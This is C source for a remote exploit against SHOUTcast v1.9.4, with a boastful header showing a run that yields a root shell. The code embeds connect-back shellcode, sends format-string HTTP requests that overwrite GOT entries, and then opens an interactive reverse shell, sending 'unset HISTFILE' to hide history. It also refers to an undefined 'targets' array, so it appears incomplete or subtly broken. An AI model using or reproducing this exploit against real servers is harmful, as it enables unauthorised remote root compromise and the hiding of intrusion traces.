/* _ ________ _____ ______ * * exwormshoucast part of PTjob project SHOUTcast v1.9.4 remote exploit / \ / "fuck mm" * by jsk exworm (exworm.hostrocket.com) \/ * my home www.ph4nt0m.org * bug found by pucik_at_cc-team.org * test it in redhat 9.0 an fedora 1( use google :8000/listen.ls maybe get some ..hehe) * laji chengxu ....so pub it... * GT: emm.oyxin.seal.ava.haggis.b_root.more.. * No girl No money No jop... *[root@localhost home]# ./suck_shoutcast -h ***.***.***.*** *SHOUTcast v1.9.4 remote exploit by exworm of 0seen *--------------------------------------------------(need money.to..fk..girl..) *[+] lisntener... *[*] Sending first request ... *[*] Sending second request ... *[+] ownedbyOseen! *----------------------------------------------------------- *Linux localhost.localdomain 2.4.22-1.2115.nptl #1 Wed Oct 29 15:42:51 EST 2003 i686 i686 i386 GNU/Linux *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) *** oseen are chinese... * * * */ #include <stdio.h> #include <stdarg.h> #include <stdlib.h> #include <netdb.h> #include <net/if.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/time.h> #include <netinet/in.h> #include <getopt.h> #include <unistd.h> #include <string.h> #include <arpa/inet.h> #include <errno.h> #include <linux/sockios.h> #define BUF 1024 char linux_connect_back[] = /* connect back 45295 */ "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" "\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80" "\x89\xc2\x31\xc0\x31\xc9\x51\x51" "\x68\xc0\xa8\x5a\x01\x66\x68\xb0" "\xef\xb1\x02\x66\x51\x89\xe7\xb3" "\x10\x53\x57\x52\x89\xe1\xb3\x03" "\xb0\x66\xcd\x80\x31\xc9\x39\xc1" "\x74\x06\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01" "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" "\xb1\x02\xcd\x80\x31\xc0\x31\xd2" "\x50\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x50\x53\x89" "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0" "\x01\xcd\x80"; int sock; void usage(); void shell(); void usage(char *prog) { fprintf(stderr,"Usage: %s -t [-pah]\n",prog); fprintf(stderr,"-t version Linux version.\n"); fprintf(stderr,"-h target The host to attack.\n"); fprintf(stderr,"-a devices Default device is \"ppp0\".\n"); fprintf(stderr,"-p port Default port is 8000.\n\n"); } int openhost(char *host,int port) { struct sockaddr_in addr; struct hostent *he; he=gethostbyname(host); if (he==NULL) return -1; sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto); if (sock==-1) return -1; memcpy(&addr.sin_addr, he->h_addr, he->h_length); addr.sin_family=AF_INET; addr.sin_port=htons(port); if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1; return sock; } void shell(int sock) { fd_set fd_read; char buff[1024], *cmd="unset HISTFILE; /bin/uname -a;/usr/bin/id; echo '*** oseen are chinese...'\n"; int n; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); FD_SET(0, &fd_read); send(sock, cmd, strlen(cmd), 0); while(1) { FD_SET(sock, &fd_read); FD_SET(0, &fd_read); if (select(sock+1, &fd_read, NULL, NULL, NULL) < 0) break; if (FD_ISSET(sock, &fd_read)) { if ((n = recv(sock, buff, sizeof(buff), 0)) < 0){ fprintf(stderr, "[+] EOF\n"); exit(2); } if (write(1, buff, n) <0) break; } if (FD_ISSET(0, &fd_read)) { if ((n = read(0, buff, sizeof(buff))) < 0){ fprintf(stderr,"[+] EOF\n"); exit(2); } if (send(sock, buff, n, 0) < 0) break; } } fprintf(stderr,"[+] Connection lost.\n\n"); exit(0); } unsigned char *get_my_ip_addr(int sockfd, struct ifreq *ifr) { struct sockaddr_in sin; char *b = (char *) malloc(4); if (ioctl(sockfd ,SIOCGIFADDR,ifr) < 0) { fprintf(stderr, "Unable to get the local IP Address, use -a.\n"); exit(1); } memcpy(&sin, &ifr->ifr_addr, sizeof(struct sockaddr_in)); memcpy(b, (char *) &sin.sin_addr.s_addr, 4); return b; } int main (int argc,char *argv[]) { char buf1[512]; char buf2[512]; char host[256]; char pass[256]="changeme"; char data; int type= 0; int c=0; int port=8001; char devices[256] = "ppp0"; unsigned char *ptr; struct hostent *hp; struct sockaddr_in sin_listener; struct ifreq ifr; struct timeval timeout; fd_set fdread; int delay = 12; int i = 0; int mode = 0; int local_port = 0; int opt = 0; int ret = 0; int sin_len = sizeof (struct sockaddr_in); int sock = 0; int sock2 = 0; int sockd = 0; int listener = 0; int time_out = 4; int tmp = 0; srand(getpid()); fprintf(stdout,"SHOUTcast v1.9.4 remote exploit by exworm of 0seen\n"); fprintf(stdout,"--------------------------------------------------(www.oseen.org)\n"); while((c=getopt(argc,argv,"h:p:a:t:")) !=EOF) { switch(c) { case 'p': port=atoi(optarg); if ((port <= 0) || (port > 65535)) { fprintf(stderr,"Invalid port.\n\n"); exit(1); } break; case 'a': memset(devices,0x0,sizeof(devices)); strncpy(devices,optarg,sizeof(devices) - 1); break; case 't': type = atoi(optarg); if (type == 0 || type > sizeof(targets) / 28) { for(i = 0; i < sizeof(targets) / 28; i++) fprintf(stderr, "%02d. %s - %s [0x%08x - 0x%08x]\n", i + 1, targets[i].distro, targets[i].type, targets[i].ret, targets[i].eax); return -1; } break; case 'h': memset(host,0x0,sizeof(host)); strncpy(host,optarg,sizeof(host) - 1); break; default: usage(argv[0]); exit(1); break; } } timeout.tv_sec = time_out; timeout.tv_usec = 0; if (strlen(host) == 0) { usage(argv[0]); exit(1); } sock=openhost(host, port); if (sock==-1) { fprintf(stderr,"- Unable to connect.\n\n"); exit(1); } strncpy(ifr.ifr_name, devices, 15); if ((sockd = socket(AF_INET, SOCK_DGRAM, 17)) < 0) { fprintf(stderr, "socket() error.\n"); return -1; } if ((listener = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { fprintf(stderr, "socket() error.\n"); return -1; } ptr = get_my_ip_addr(sockd, &ifr); memcpy(&sin_listener.sin_addr.s_addr, ptr, 4); sin_listener.sin_family = AF_INET; memset(&sin_listener.sin_zero, 0x00, 8); while(1) { local_port = local_port = 45295; sin_listener.sin_port = htons(local_port); if (!bind(listener, (struct sockaddr *) &sin_listener, sin_len)) break; } listen(listener, 1); fprintf(stdout, "[+] lisntener...\n"); linux_connect_back[129] = (unsigned int) *(ptr + 0); linux_connect_back[130] = (unsigned int) *(ptr + 1); linux_connect_back[131] = (unsigned int) *(ptr + 2); linux_connect_back[132] = (unsigned int) *(ptr + 3); char req[1024] = "GET /content/DD" "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD" "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"; strcat(req, "DD.mp3 HTTP/1.0\r\n\r\n"); char req1[1024] = "GET /content/AA" /* sprintf GOT addr */ "\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08"; strcat(req1, linux_connect_back); strcat(req1, ".mp3 HTTP/1.0\r\n\r\n"); char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAA-%n-" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n.mp3" " /HTTP/1.0\r\n\r\n"; printf("[*] Sending first request ...\n"); write(sock, req1, strlen(req1)); close(sock); sock=openhost(host, 8000); if (sock==-1) { fprintf(stderr,"- Unable to connect.\n\n"); exit(1); } printf("[*] Sending second request ...\n"); while(1) { write(sock, req2, strlen(req2)); sleep(2); FD_ZERO(&fdread); FD_SET(listener, &fdread); timeout.tv_sec = time_out; timeout.tv_usec = 0; while(1) { ret = select(FD_SETSIZE, &fdread, NULL, NULL, &timeout); if (ret < 0) { close(sock); close(listener); fprintf(stderr, "select() error.\n"); return -1; } if (ret == 0) { fprintf(stderr, "[+] Failed, waiting %d seconds.\n" "[+] Use ctrl-c to abort.\n", delay); sleep(delay); break; } if(FD_ISSET(listener, &fdread)) { sock2 = accept(listener, (struct sockaddr *)&sin_listener, &sin_len); close(sock); close(listener); fprintf(stderr, "[+] ownedbyOseen!\n" "-----------------------------------------------------------\n"); shell(sock2); close(sock2); return 0; } } } fprintf(stderr, "[+] Exploit failed.\n"); close(listener); close(sock); return 0; }